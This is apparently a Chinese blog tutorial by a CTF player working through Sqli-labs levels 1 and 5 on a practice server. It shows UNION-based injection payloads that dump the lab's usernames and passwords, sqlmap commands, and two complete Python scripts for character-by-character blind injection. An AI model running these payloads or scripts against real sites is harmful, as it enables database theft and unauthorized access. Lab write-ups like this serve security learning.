SQL注入

README

  • CTFer
  • WEB狗
  • 持续更新
  • 乌市素质单男

Sqli-labs

README

Less-1|最基础的sql注入

  • 写第一个是因为一点过滤都没有,可以作为一些paylaod的实验
  • 传入参数?id=1回显
    less1_1
  • 传入入 ?id=1',报错,因为是第一关,所以没什么过滤,就不一一测试了,直接打paylaod
  • 传入?id=-1 'union select 1,2,database()--+,回显
Welcome    Dhakkan
Your Login name:2
Your Password:security
  • 其中security为database()的值
  • 传入?id=-1 'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+,获取表名,回显
Welcome    Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
  • 传入?id=-1 'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+获取本数据库中的user表的所有列名,回显
Welcome    Dhakkan
Your Login name:2
Your Password:id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password
  • 传入?id=-1 'union select 1,group_concat(username),group_concat(password) from users--+,获取所有用户名和密码,回显
Welcome    Dhakkan
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-5|最基础的盲注

  • 首先学习一下盲注基础
  • 经过对几个函数的学习,我们借用Less-5来学习一下脚本的编写
  • 和前几个Less不同,Less-5,不回显用户的数据,只有回显You are in...........
  • 我们先来测试一下这个语句?id=-1' or '1'='1,可以发现依然回显You are in...........
  • 语句?id=-1' or '1'='1是比较常用的几个测试是否存在注入的语句,可以巧用and,or,&,|等符号进行测试
  • 再构造一个payload?id=-1' or substr((select 1),1,1)=1%23,利用由于or后的语句为真,所以依旧会回显You are in...........
  • 测试payload?id=-1' or substr((select database()),1,1)='a'%23,使用这个payload,我们可以逐个字符爆出database()的结果,只需要更改substr()的第二个参数和与之比较的值(可以用=,>,<等)
  • 最简单的是使用sqlmap直接跑,这里我给出一些命令,就不写具体的回显结果了
# 判断是否存在注入点
./sqlmap.py -u "http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=1"
# 爆数据库名
# 在第一条语句后加上
--dbs
# 爆表名
# 在第一条语句的后面加上 -D 数据库名 --tables  如:
-D security --tables
# 爆列名
-D security -T users --columns
# 爆数据库内容
-D security -T users --dump-all
  • sqlmap在实战中是一种非常好用的工具
  • 可以通过配置,绕过各种waf
  • 但是为了能更好的学习盲注的原理,这里再示例一下脚本的编写
  • 先看一下requests库的使用–传送门
  • 编写一个最简单的脚本,直接遍历
import requests

# 脚本中paylaod又套了个ASCII是为了爆破的更加准确,直接用substr有时会大小写出现偏差
url = 'http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=-1\' or ascii(substr((select database()),{},1))={}%23'

s1 = requests.session()


res = '' #存放结果

for i in range(1,1000):
	tmp = res #记录res的值
	for j in range(32,127):#所有能输出的字符的ASCII值范围
		url_tmp = url.format(i,j)
		r1 = s1.get(url_tmp)
		if 'You are in.....' in  r1.text:
			res += chr(j)
			print(res)
			break
	if res == tmp: #遍历一遍ASCII的值,res还没改变说明已经爆破结束了
		print(res)
		exit(-1)
  • 但是直接遍历有时候效率很低
  • 所以我们在遍历的基础上稍加改进,采用>用二分法控制遍历,能提高不少效率
import requests

# 脚本中paylaod又套了个ASCII是为了爆破的更加准确,直接用substr有时会大小写出现偏差
url = 'http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=-1\' or ascii(substr((select database()),{},1))>{}%23'

s1 = requests.session()


res = '' #存放结果

for i in range(1,1000):
	tmp = len(res) #记录res的值
	high = 127
	low = 31
	mid = (low + high) // 2
	while high > low:
		url_tmp = url.format(i,mid)
		r1 = s1.get(url_tmp)
		if 'You are in.....' in  r1.text:
			low = mid + 1
		else:
			high = mid
		mid = (low + high) // 2
	res += chr(int(mid))
	print(res)
	if mid == 31: 
		print(res[:-1])
		print('end.......')
		exit(-1)

CTF真题

  • 基于其他的比赛题目
  • 有的只放脚本或其他比赛中的wp链接,不做过多描述

公益赛_ichunqiu_easysqli_copy|set…prepare…execute

公益赛_ichunqiu_Ezsqli|过滤in,union(.*?)select

公益赛_ichunqiu_blacklist|过滤select使用handler

[SUCTF 2019]EasySQL|sql_mode=PIPES_AS_CONCAT

[BJDCTF 2nd]简单注入|regexp binary 注入

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值